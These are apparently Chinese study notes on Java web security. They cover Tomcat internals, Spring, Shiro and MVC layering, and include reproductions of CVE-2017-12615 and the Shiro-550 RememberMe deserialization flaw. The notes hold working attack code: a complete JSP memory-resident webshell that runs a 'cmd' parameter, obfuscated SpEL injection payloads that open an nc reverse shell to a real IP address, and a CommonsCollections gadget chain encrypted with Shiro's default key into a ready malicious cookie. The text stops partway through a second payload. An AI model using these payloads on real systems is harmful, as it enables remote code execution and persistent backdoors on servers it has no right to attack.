webapp目录 java web特有的目录 这是一个受保护的目录。浏览器无法直接访问里面的内容。 存放web资源

​ /WEB-INF 存有web.xml 包括网站的所有路由信息 它定义了哪些 Servlet 对应哪些 URL，以及有哪些 Filter

​ index.jsp 首页

target 目录是编译后的产物

tomcat架构

2个核心组件

Connector

处理socket连接 负责网络字节流与request和response对象转换

Container

加载并管理Servlet 处理具体的Request请求

连接器中又分为3个部分

endpoint 处理网络连接 接收二进制数据流 并转化为socketProcessor

processor 接收socketProcessor 通过处理具体的协议类型 并转化为tomcat Request

adapter 接受tomcat request 转换为ServletRequest

容器中层层分为

engine 表示整个 Catalina 的 Servlet 引擎 一个service只有一个engine 管理多个host

host 表示虚拟主机/站点 www.a.com www.b.com

context 表示一个web应用 webapp目录下的文件夹

wrapper 表示一个Servlet 负责管理整个 Servlet 的生命周期，包括装载、初始化、资源回收等

历史CVE复现

CVE-2017-12615 (PUT 方法任意文件上传)

在tomcat的conf/web.xml里面有一个参数readonly 根据注释可以知道这个参数就是开启是否接受delete和put请求

false就等于允许

image-20260414102706027

我们在DefaultServlet中添加这个参数

image-20260414102837580

本地启动tomcat 使用jpda这个javaagent 使得idea可以远程调试tomcat

1
catalina.bat jpda start

image-20260414102611163

在idea中打断点

image-20260414102933243

bp发包

image-20260414103055126

可以看到idea停在断点上了

image-20260414103117536

一开始就判断readonly的值 因为为false所以跳过

image-20260414103249374

后续就是获取路径path 然后判断是否存在文件

image-20260414103402352

获取请求输入流 在通过请求输入流获取到请求体

后面会进入到resources.bind(path, newResource)

这里就是sink点

image-20260414103558887

跟进dirContext.bind()

image-20260414103636797

继续跟进

image-20260414103706228

来到FileDirContext的bind方法中

创建一个File对象 然后判断是否存在

继续跟进下面的rebind()

image-20260414104041544

前面是一些判断语句

也是创建一个file对象 判断obj对象类型

因为obj对象是resource类 所以is获取obj的请求体数据

重点在后面

image-20260414104104751

创建一个FileOutputStream os 然后将file对象传入FileOutputStream 中

用上面的输入流is读取数据

最后os在写入file对象中 此时文件就成功写入了

image-20260414104612946

可以成功访问

image-20260414104650603

在发送数据包的时候发的是

PUT /1.jsp%20

如果不加%20 他会使用jsp的Servlet 所以需要加入空格的url编码 使得是DefaultServlet去处理这个请求

修复建议

不要使用readonly参数 默认也没有使用

Servlet内存马

一个请求到成为Servlet里面的ServletRequest全过程

Connector 到 Container 到最后 Servlet拿到的Request 实际上过程有3种request

这里调试的是jsp文件 所以直接在jsp的第一句话上打上断点即可

image-20260411132412458

看看调用栈

image-20260411132443438

从这个AprEndpoint这个类开始处理连接

在Connector 中 当endpoint处理完socket连接 会返回一个socketProcess对象 然后在Processor中开始解析协议

image-20260411132657571

开始调用SocketProcessor中的doRun准备开始进行协议解析

image-20260411132834550

这里开始调用SocketProcessor中的handler的process开始解析

image-20260411133842889

image-20260411133941534

wrapper就是一开始的socketwrapper

开始调用AbstractHttp11Processor进行协议解析

image-20260411134139938

经过一顿操作 我们终于是看到一个request了

回去看看这个request是什么

image-20260411134553094

org.apache.coyote.Request 一个被初步包装的request 可以称为tomcat request

这里还没到Container中的request 继续看调用栈

image-20260411134744048

image-20260411135333045

这里是connector中最后一个组件adapter 会将刚刚的request转换为Container可以接受的request

可以看到 org.apache.catalina.connector 中引用了httpservletRequest接口 这是可以被Container使用的

Connector开始启动Container

image-20260411135630722

这个调用就开始进入Container的调用

connector.getService()： 拿到当前 Connector 所属的 Service（通常是 Catalina）。一个 Service 就像是一个“大部门”，它管理着门口的接待（Connector）和后面的车间（Container）。

.getContainer()： 拿到这个 Service 下关联的顶层容器，通常是 StandardEngine（引擎）。

.getPipeline()： 每个容器都有一个“管道”。管道里挂着一串“阀门（Valve）”。

.getFirst()： 拿到管道里的第一个阀门。对于 StandardEngine 来说，它的第一个阀门通常就是 StandardEngineValve。

.invoke(request, response)： 这是最核心的动作。 这里的 request 是已经包装好的 connector.Request。这个调用意味着请求正式进入了容器的逻辑流，开始了一层层 Valve 的遍历。

Container中每个组件的调用遵循一个 Pipeline-value责任链

每个组件里面都有一个Pipeline的链表 里面的元素就是value

通过不断调用value里面的invoke函数 来处理各自的逻辑

1

这里拿到的第一个value是StandardEngineValve

StandardEngine是原理中engine的具体实现类 其他组件也是类似的

image-20260411141601844

经过层层调用 最后来到StandardWrapperValve

image-20260411142727709

image-20260411142833426

StandardWrapper 就是wrapper的实现类

最后调用了filterchain.dofilter

因为在初始化的时候 filter是最先被初始化的 从这里开始调用了filter 最后才到Servlet

request.getRequest()返回一个RequestFacade 这里就是封装过的ServletRequest

image-20260411143419007

image-20260411143238917

到了这里 request都是使用RequestFacade image-20260411143621993

一顿调用 要开始Servlet的调用了

image-20260411143920161

又是一顿调用 回到了jsp文件中 实际上tomcat调用的应该是编译后的jsp文件 也就是一个class文件

这里的request就是之前一直被处理的requestfacade 一个被包装的request类

image-20260411144002128

到了这里就开始运行jsp了

Servlet内存马的起点也是这里 我们只有一个requestfacade 对象 要如何去加载一个Servlet 并将Servlet与一个路由绑定上呢

最后来到jsp的Servlet的request实际上就是被层层封装的一个RequestFacade 对象

现在开始调试一下Servlet的init过程

image-20260411144424543

loadonstartup=1 可以让这个Servlet在tomcat启动的时候就被init

继续啃调用栈

从StandardContext.loadOnStartup()开始 加载wrapper 也就是开始加载Servlet

image-20260411145358262

image-20260411144916289

Container children[]这个数组里面的元素是wrapper 也就是要被加载的Servlet

看看这个wrapper 都是哪里的

回看startInternal()

image-20260411145328069

来自父类的ContainerBase.findchildren()

image-20260411145755147

看看这里的children都是从哪传进去的

image-20260411150017024

从调用栈中可以知道 standardHost调用了addchild 从而调用了ContainerBase的addchild

也就是说wrapper是从standardHost里面传进来的

看看哪些类继承了ContainerBase

image-20260411150531429

所有组件的实现类都继承了ContainerBase

在StandardContext里面也看到了addChild()

还会调用父类的addChild 也就是 StandardContext也可以添加wrapper

实际上StandardHost的addChild 是启动wrapper 并不是字面意义上的添加wrapper

image-20260411154637748

内存马中添加的Servlet不是jsp的话 也就不会调用 addServletMappingDecoded 实际就是将某个路由映射到Servlet上 执行逻辑

所以我们得自己调用addServletMappingDecoded 去添加路由映射到恶意Servlet上

至此 大概的原理差不多了

我们要做的就是:

构造恶意Servlet

将Servlet包装成wrapper

把wrapper塞到StandardContext的ServletMapping中

最后添加路由映射到wrapper

最后通过反射调用 从request也就是RequestFaces 获取到ServletContext 在获取其中的成员context 也就是ApplicationContext 通过ApplicationContext找到StandardContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    ServletContext servletContext = request.getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);

    Field stcxt = applicationContext.getClass().getDeclaredField("context");
    stcxt.setAccessible(true);
    StandardContext standardContext = (StandardContext)stcxt.get(applicationContext);

    javax.servlet.Servlet memoryshell = new javax.servlet.Servlet(){

        @Override
        public void init(ServletConfig config) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            if(req.getParameter("cmd") != null){
                InputStream ois = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                byte[] bytes = new byte[1024];
                ois.read(bytes);
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                baos.write(bytes);
                res.setContentType("text/html");
                res.getWriter().write(baos.toString());
//                System.out.println(baos.toString());
            }
        }

        @Override
        public String getServletInfo() {
            return "";
        }

        @Override
        public void destroy() {

        }
    };
    try {
        StandardWrapper  wrapperevil = new StandardWrapper();
        String name = "123";
        //必要的封装
        wrapperevil.setName(name);//Servlet的名字随便都可以
        wrapperevil.setServlet(memoryshell);//把写好的恶意Servlet搞到wrapper里面


        standardContext.addChild(wrapperevil);//使用获取到的standardContext的addChild方法 把恶意Servlet搞到children里面
        standardContext.addServletMappingDecoded("/sakuya",name);//将路由与恶意Servlet进行映射

    } catch (Exception e) {
        throw new RuntimeException(e);
    }


%>

这里的Servlet内存马 本质就是在StandardContext里面添加一个恶意的Servlet addchild()

然后再ServletMapping中添加路由与Servlet的映射关系

jsp

javaserver page

替代servlet处理业务逻辑的产品

可以执行java代码

jsp三大属性

<%@page … %> 网页依赖属性

<%@include … %> 包含其他文件

<%@ taglib prefix=”c” uri=”http://java.sun.com/jsp/jstl/core“ %> 引入标签库的定义

Spring

IoC

Inversion of Control 控制反转 把复杂系统分解成相互合作的对象，这些对象类通过封装以后，内部实现对外部是透明的，从而降低了解决问题的复杂度，而且可以灵活地被重用和扩展。

IoC容器管理各个实现类

一个由Spring IoC容器实例化、组装和管理的对象，我们称其为Bean

注册与配置Bean

在resource中创建一个.xml文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        https://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean name="student" class="com.demo.student" scope="prototype"></bean>
</beans>
1
2
<bean name="student" class="com.demo.student" scope="prototype"></bean> student被IoC容器创建的时候是单例模式
<bean name="student" class="com.demo.student" scope="singleton"></bean> student被IoC容器创建的时候是多例模式

加载bean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.demo;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class test {
    public static void main(String[] args) {
        //获取一个IoC容器
        ApplicationContext ctx = new ClassPathXmlApplicationContext("application.xml");
        //通过IoC容器反射调用获取一个对象
        student a = (student) ctx.getBean("student");
        //student a = (student) ctx.getBean(student.class);
        a.hello();
    }
}

依赖注入

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        https://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean name="teacher" class="com.demo.artteacher"></bean>
    <bean name="student" class="com.demo.student">
    	<constructor-arg  name="teacher" ref="artteacher"></constructor-arg> //构造注入 ref=对象
        <constructor-arg name="username" value="小明"></constructor-arg>  value=值
        <property name="teacher" ref="artteacher"></property>  //set注入
    </bean>
</beans>

自动装配

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        https://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean name="teacher" class="com.demo.artteacher" autowire-candidate="false"></bean> //不作为依赖被注入
    <bean name="teacher1" class="com.demo.sportteacher" primary="true"></bean>  //优先被注入
    <bean name="student" class="com.demo.student" autowire="Bytype/Byname"></bean>  //set自动注入
    <bean name="student" class="com.demo.student" autowire="constructor"></bean>  //构造自动注入
</beans>

Bean的生命周期

和Servlet一样 Bean也有自己的生命周期

init与destory

1
<bean name="teacher1" class="com.demo.sportteacher" primary="true" init-method="init" destory-method="destory"/>
1
2
3
4
//当容器创建时，默认情况下Bean都是单例的，那么都会在一开始就加载好，对象构造完成后，会执行init-method
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("test.xml");
//我们可以调用close方法关闭容器，此时容器内存放的Bean也会被一起销毁，会执行destroy-method
context.close();

Bean为单例模式时 IoC容器可以顾及所有的生命周期 随容器的创建与销毁时被调用

如果是多例模式时 IoC容器无法顾及其所有生命周期 当对象被调用的时候才会执行init 容器销毁的时候不会调用destory

注解

image-20260416105050168

image-20260416105058727

image-20260416105108525

SpEL表达式

外部属性注入

${ spring.user.name }

#{表达式}

T(全限定类名).方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


@Configuration
@ComponentScan("com.test.bean")
@PropertySource("classpath:test.properties")   //注意，类路径下的文件名称需要在前面加上classpath:
public class MainConfiguration{
    
}
@Component
public class Studnet {
    @Value("${test.name}")
    private String name;
}


//T(全限定类名).方法
''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc 47.115.148.182 2112 -e /bin/sh')

String.getClass().forName('java.lang.Ru'+'ntime').getMethod('exec',String.getClass()).invoke(String.getClass().forName('java.lang.Ru'+'ntime').getMethod('get'+'Runtime').invoke(null),'nc 47.115.148.182 2112 -e /bin/sh')
    
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(Runtime).getRuntime().exec('calc')");
expression.getValue();

().getClass().forName('java.lang.Ru'+'ntime').getMethod('exec',().getClass()).invoke(().getClass().forName('java.lang.Ru'+'ntime').getMethod('get'+'Runtime').invoke(null),'nc 47.115.148.182 2112 -e /bin/sh')

AOP

AOP（Aspect Oriented Programming）面向切面编程 思想实际上就是：在运行时，动态地将代码切入到类的指定方法、指定位置上。也就是说，我们可以使用AOP来帮助我们在方法执行前或执行之后，做一些额外的操作，实际上，它就是代理

  1. 哪些类需要切入 类的哪些方法需要被切入
  2. 切入后要执行什么操作
  3. 是在方法执行前切入还是在方法执行后切入
  4. 如何告诉spring需要进行切入

环绕方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:aop="http://www.springframework.org/schema/aop"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
       http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd">
    <bean name="student" class="com.demo.Student"/>
    <bean name="studentAOP" class="com.demo.StudentAOP"/>
    <aop:config>
        <aop:pointcut id="test" expression="execution(* com.demo.Student.study(String))"/>
        <aop:aspect ref="studentAOP">
<!--            <aop:after method="afterstudy" pointcut-ref="test"/>-->
            <aop:around method="around" pointcut-ref="test"/>
        </aop:aspect>
    </aop:config>
</beans>
  • 通知（Advice）: AOP 框架中的增强处理，通知描述了切面何时执行以及如何执行增强处理，也就是我们上面编写的方法实现。
  • 连接点（join point）: 连接点表示应用执行过程中能够插入切面的一个点，这个点可以是方法的调用、异常的抛出，实际上就是我们在方法执行前或是执行后需要做的内容。
  • 切点（PointCut）: 可以插入增强处理的连接点，可以是方法执行之前也可以方法执行之后，还可以是抛出异常之类的。
  • 切面（Aspect）: 切面是通知和切点的结合，我们之前在xml中定义的就是切面，包括很多信息。
  • 引入（Introduction）：引入允许我们向现有的类添加新的方法或者属性。
  • 织入（Weaving）: 将增强处理添加到目标对象中，并创建一个被增强的对象，我们之前都是在将我们的增强处理添加到目标对象，也就是织入（这名字挺有文艺范的）

SpringMVC

Spring MVC 的核心工作流程：

  1. DispatcherServlet (前端控制器)： 所有的请求第一步都会发给它。它就像公司里的前台/前置路由。
  2. HandlerMapping (处理器映射器)： 前台查表，看看这个 URL 归哪个 Controller 管。
  3. Controller (控制器)： 你写的业务代码。它去调用 Service 层处理数据，然后返回一个“结果”。
  4. ModelAndView (结果封装)： 包含了两样东西——要展示的数据（Model）和要去哪个页面（View）。
  5. ViewResolver (视图解析器)： 把逻辑上的页面名（比如 “index”）变成真实的地址（比如 “/WEB-INF/jsp/index.jsp”）。
  6. 渲染返回： 把数据填进页面，发回给浏览器。

M (Model) 模型： 负责数据。比如从数据库拿数据、处理业务逻辑、保存用户信息。它是程序的“大脑”。

V (View) 视图： 负责展示。比如 HTML 页面、App 界面、或者是返回给前端的 JSON 数据。它是程序的“脸面”。

C (Controller) 控制器： 负责调度。它像个中转站：接收用户的请求，告诉 Model 去处理数据，最后决定把哪个 View 给用户看。

用户 发送请求 接收资源

表示层 处理请求 将具体请求发给业务层进行处理

业务层 处理业务逻辑 返回资源

数据访问层

数据库

1. Controller 层（控制层 / 表现层）

  • 角色： 餐厅服务员。
  • 职责： 负责接收客人的订单（HTTP 请求），校验一下订单格式对不对，然后把需求传给后厨（Service）。
  • 关键点： 它不应该写复杂的逻辑，只负责“接活儿”和“回话”。
  • 注解： @RestController, @RequestMapping

2. Service 层（业务逻辑层）

  • 角色： 后厨大厨。
  • 职责： 核心逻辑所在地。比如“下单”这个动作，需要查库存、算折扣、扣余额、发短信。大厨负责把这些散碎的步骤拼凑成一个完整的“业务”。
  • 关键点： 这是最值钱的一层，所有的计算和业务规则都写在这里。
  • 注解： @Service

3. Repository / DAO 层（数据访问层）

  • 角色： 仓库管理员。
  • 职责： 只负责和数据库打交道。它不关心业务，你告诉它“给我找 ID 为 1 的用户”，它就去执行 SQL 把数据拿回来。
  • 关键点： 在 Spring Data JPA 中通常叫 Repository，在 MyBatis 中通常叫 Mapper。
  • 注解： @Repository, @Mapper

4. Entity / POJO 层（实体模型层）

  • 角色： 菜单或食材。
  • 职责： 它是数据的载体。比如 User 类，里面定义了用户名、密码、邮箱等字段。它是数据库表在 Java 里的“投影”。
  • 注解： @Entity, @Table

5. DTO / VO 层（数据传输对象）

这是为了安全和灵活衍生的“包装”层：

  • DTO (Data Transfer Object)： 前端传给后端的数据（比如注册时只传用户名密码，不需要传 ID）。
  • VO (View Object)： 后端展示给前端的数据（比如返回用户信息时，要把密码字段抹掉）。

完整的调用链路图

流程演示：

  1. 用户在网页点了个按钮 $\rightarrow$ 发送请求给 Controller。
  2. Controller 收到请求，调用 Service。
  3. Service 处理逻辑，需要查数据，调用 Repository。
  4. Repository 去 Database 搬回 Entity。
  5. Service 把 Entity 转换成 VO 返回给 Controller。
  6. Controller 把 VO 转换成 JSON 发给 用户。

MyBatis

Object Relational Mapping 半自动的ORM框架

对象 关系 映射

java中的持久化工具 不需要手动的创建驱动并连接数据库

Controller 控制器

Springmvc使用DispatchServlet 将请求都先经过它 作为主路由

Interceptor 拦截器

shiro

Shiro是apache提供的一个java安全框架 主要有以下部分组成:

Authentication

身份认证/登录 验证用户相应身份

shiro中 所有操作都是基于当前正在执行的用户 在shiro中称之为subject

Shiro支持数据源 realms 可以利用它连接ldap ad jdbc安全数据源

支持自定义realms对应用户进行认证

支持 Rememberme 下次访问无需登录

Authorization

授权 权限验证 验证某个已认证用户是否拥有这个权限

基于subject 支持realms

鉴权时 可以基于realms 也可以基于 Permissions

Session Manager

会话管理

用户在退出会话前 一直保持会话的所有信息

支持HttpSession类相关api

Cryptography

加密

Shiro使用公钥加密 AES

Permissions

用户权限

Shiro将作用操作都抽象为Permission

Caching

缓存

核心类

SecurityManager

进行鉴权的核心类

Subject

程序中的用户实体

Realms

定义了一个用户的权限

小结

一次认证及授权的校验流程：

  1. 应用程序通过获取当前访问的 Subject（也就是用户），并调用其相应校验方法；
  2. Subject 将校验委托给 SecurityManager 进行判断；
  3. SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。

漏洞类型

RememberMe反序列化漏洞

shiro550 version 1.x < 1.2.5

cookie的设置 使用固定密钥加密 反序列化rce

调试一下

在CookieRememberMeManager.rememberSerializedIdentity方法上打个断点

image-20260428210801763

明显有个cookie.setValue方法 这里就是将最后得到的cookie给添加到响应包中 之后发送给用户

我们从这里开始调试 往回查看这个cookie是怎么来的

注意这个方法中的参数是subject和serialized

第一个就是用户信息 第二个应该就是序列化后的Cookie 在这个方法里面调用了一次base64编码之后就把他放到cookie里面了

来到CookieRememberMeManager的抽象父类的rememberIdentity()

image-20260428211708604

这个方法里面会获取到一个字节数组 通过自己的convertPrincipalsToBytes()

跟进一下这个方法

image-20260428212043637

这里会获取一个PrincipalCollection 并序列化

序列化之后判断getCipherService是否为null 不为则进行一次加密

getCipherService默认情况都不为null 一定会进行加密

image-20260428212232880

加密算法实际上执行一次aes加密

image-20260428212354742

来到这个AbstractRememberMeManager里面 可以看到一个固定的key 这就是万恶之源

在注意一下serializer 是一个DefaultSerializer对象 等下序列化的时候有用

具体加密细节不多讲 就是aes加密

回到convertPrincipalsToBytes()

image-20260428212534004

看看serialize方法做了什么处理

image-20260428212623208

获得序列化器并开始序列化 这里的getSerializer返回DefaultSerializer对象并开始序列化

image-20260428212805745

DefaultSerializer重写了序列化与反序列化方法 不难猜测就是用来序列化与反序列化cookie数据

注意这里的接收参数是一个泛式 这里关乎后面payload要怎么设计 序列化和反序列化的地方就和java原生序列化反序列化方法没什么区别了 这里的deserialize就是最后的sink点

好了现在重点回到Cookie数据是怎么构造的

继续回到convertPrincipalsToBytes()

image-20260428213553794

现在的重点来到这个PrincipalCollection 这个什么东西

来到重载的另一个rememberIdentity方法这里

image-20260428213713644

AuthenticationToken和AuthenticationInfo 应该应该就是身份认证时的token信息与具体的信息

通过getIdentityToRemember方法会返回PrincipalCollection

跟进getIdentityToRemember

image-20260428214333717

直接回返回Principal

我们现在先从最开始的地方看这个正常请求的cookie是怎么来的

image-20260428214442623

AuthenticatingFilter 身份验证过滤器中

executeLogin方法会创建一个token token里面存有账号密码 和rememberme转态

然后执行subject.login并携带token

image-20260428215609289

进入securityManager.login并携带subject与token

image-20260428215811159

info里面包装了其他的信息 比如用户权限为admin

subject也被层层封装

最后执行onSuccessfulLogin

image-20260428220124905

层层调用 最后来到rememberIdentity 方法 我们现在知道这个PrincipalCollection 也就是一些用户信息罢了 用户名与权限名

image-20260428220235139

基本上清楚了这个cookie的由来与去处

总结一下cookie的产生

username + password -> 包装成AuthenticationInfo info 里面有用户信息 包含权限 -> 又包装成PrincipalCollection accountPrincipals -> 进入convertPrincipalsToBytes() 开始java原生的序列化 返回一个字节数组 -> 使用固定密钥通过aes加密算法 加密 -> 最后经过一次base64加密 就成为了cookie

进行一次java原生序列化 得到二进制数据 然后进行 一次aes加密 与 一次base64加密 cookie的名字叫RememberMe

cookie的产生使用原生java原生的序列化 那再验权的时候肯定会进行一次java原生反序列化 我们接下来调试一下Cookie的逆过程

再调试一下

image-20260429151345213

来到getRememberedSerializedIdentity() 可以看到这里获取了cookie值

下面会进行一个base64的解码 最后返回字节数组

image-20260429151536134

来到AbstractRememberMeManager.getRememberedPrincipals 经过刚刚的方法得到base64解码后的数据

然后进入**convertBytesToPrincipals()**方法

image-20260429151711408

解密之后就开始反序列化了

反序列化总结一下

获取cookie -> base64解密 -> aes解密 -> 反序列化

漏洞利用

在利用cookie的时候 不要携带登录时获取的session 不然他不会去检验cookie 也就无法触发漏洞了

我们先打个cc1试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

       InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});//返回Runtime.getRuntime()方法类对象

       InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});

       InvokerTransformer invokerTransformer3 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

       Transformer chainedTransformers = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3});
       Map map = new HashMap();
       map.put("value","value");
       Map t = TransformedMap.decorate(map,null,chainedTransformers);
       //恶意类构造完毕
       //实例化触发漏洞核心类
       try {
           Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
           Constructor constructor = a.getDeclaredConstructor(Class.class,Map.class);
           constructor.setAccessible(true);
           Object instance = constructor.newInstance(Target.class,t);
           ByteArrayOutputStream baos = new ByteArrayOutputStream();
           ObjectOutputStream out = new ObjectOutputStream(baos);
           out.writeObject(instance);
           out.flush();
           out.close();
           byte[] pay = baos.toByteArray();
           //使用shiro提供的AesCipherService对象进行加密
           AesCipherService aes = new AesCipherService();
           byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
           ByteSource ciphertext = aes.encrypt(pay, key);
           String cookie = ciphertext.toString();
           
           System.out.println("ok!!");
           System.out.println(cookie);

注意一下这里的toString方法自动的会进行base64加密 就不用在加密了 使用得到cookie

1
MVRd3dqIE7uXJLdARG0rwjIYIiXKOPg1Ld067Xu2/5UbmkCWsxUKimbldu6H4MFAE+0f+gJsZL3IpD6lyN3Mv8vv1LP+13K3AfQsd5hqh7NcAt2CyjZcvU23yr2WI52k1xUzn0HX+ub2+v0tOZ21KQoYoZWgFlfOR+08vhT4khTL8JTmji1kMswPOqc2lURYOhnSNxxNj6cmnoR9B1KeIMmnl2mVNgxmbbDUwkLGQhRblxW7DskoYLprjih7aozbUnMZZWHq1BWfcmQAEtTgV0uMJEJKx0SV1YBaKo7rRiZA+ve0I9Zl7mhplHGezC4dP5+PC6ZVUSk+i1gcDpGrTw0L5u+Bi1wER4v+iP77nwpkMa3OOJMiNrDAomMdrBNhS10X7+zRZIW5Tj3q7yLiMtLA0/TaMio0Qgbe8s9z804QknMSokLKCEPkJlU655FzG1xx9eCetx1SZ/79XRgY1sfUk36WnJ1ge19fLpNfx67q24EfDJi6QrzKjFRBUDasiySEHlJoBXZU/6w9xMijXXKJ2ezXAqF602QvPIpLRbHLCX/y8yixjz9DZ+zHBJiLSwVonHWKDeeyjMG9ymNDHq6TCC/IZtXjEB/7KQFvwaX/QnhBWTnICy2dK9pu2+Eq+ugcV8Spa3RgatpnGzAJ3NVeQbYR4coq2IiyxGHvNcX3XxemaRXXAhyuV4nHOwzB2sVdLJmrwL5N54QWsc7NhiLR45v31J1402HxoeTiAdsFqKsB/uturDJSfkzygSYH08+bw8j+EVcZ38yNNq3sK5rTnO1CB9k2zP0eg/eJKfsF7bVbFaM4msflfswRcltgyWUiwUpcCFua9uuAtV91Lc3aiWLh4jHUHaj5AYD58PvbMU28PF8YHgvyVgmvVDdK6vlS9+A3LFy3F5JaJV81Zg3VrqvV/3rRkXoQloM/CaWEe+T8JFlNdZ9BLfVGLr00e7YJRmpb2N8xPTuuO9e5kwE/YlwkjH4zDYb24rvnw9f2u+qL6bm1FTztSsWhOz6MoP5U8b+IXdAsGXyLCa7xfovzlOgfzyoKHr9GFjFtkWM7eXNqUZ4KY4Lz/oykZtKWzd187Q4bueONoSjGrXTOhaoO8PiWcOXYQDqHcDAVDDg7SVuE1LMYXSLKp7j+qAFSBOoKhR9CVmGOV6CTE/sC5aVoWxnAv6JZw3bTjZfamJCS+7Kjei19x9GFZDk9FW9MV2UM6TtXc9kMmh2X9gKuv41mQlP4CyDIIfMLbMO5MltZDF3ZlCJDnqK4LoCtj015AvtUTMqSAxzcgzuHGg+0vQLXDJ2DMU/vDmqQLlSzxEpYrdP0hxb66ZZ21jKp6DALCgSf9rmMQSWNHqD+y036iIS+zE4hWnR87MfnvzqcBS/ueN+q9Rb8m5VCe/MMt+IV18R2/w5lV9AfRW2TQyCH45IP6IlifuUfIMYyqCTVH255k3iK/93VigiqIfWvsH2f9sRZUuJJRRs2Nq5JYeK7hoYkdVSX+dG/4TTepraqvW8ahzw9AT4mVDffFIaMxcKknljvSa1YtIC0OruWHWLcyFSeGatoIWcYkk8Lcqlk3TX/ktY4rvP8Dzq9ZMTJ0gpmiFY2iOSUV9ca9+hOdebV2f3/C/OnUkijq31dJPykiwJwreAoUViskqoGTLMD87QX

查看日志 可以发现有3个异常

image-20260430104729559

提示无法加载数组 [Lorg.apache.commons.collections.Transformer; 无法加载Transformer数组

我们调试一下

image-20260430104823178

shiro中的反序列化被重写过 使用ClassResolvingObjectInputStream对象去反序列化

image-20260430104917267

直接进入 resolveClass() 最后会使用ClassUtils.forName

image-20260430105015834

跟进loadClass

image-20260430105043844

获取CLassLoader对象 会获取到WebappClassLoader 经过双亲委派模型机制 最后会委托到URLClassLoader

image-20260430105241551

这里的jre环境需要把tomcat的源码搞进去 可以进入WebappClassLoader 的loadClass方法中

从结果上来看 无法加载这个数组类 也就是说在shiro里面 没法加载Transform数组

那么我们就避开使用Transform数组 去构造payload

贴一个别的师傅写的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro1 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl impl = new TemplatesImpl();
        byte[] calccc = Files.readAllBytes(Paths.get("D:\\myjavaprogram\\CC1\\src\\main\\java\\evil.class"));

        setFieldValue(impl, "_name", "sakuya");
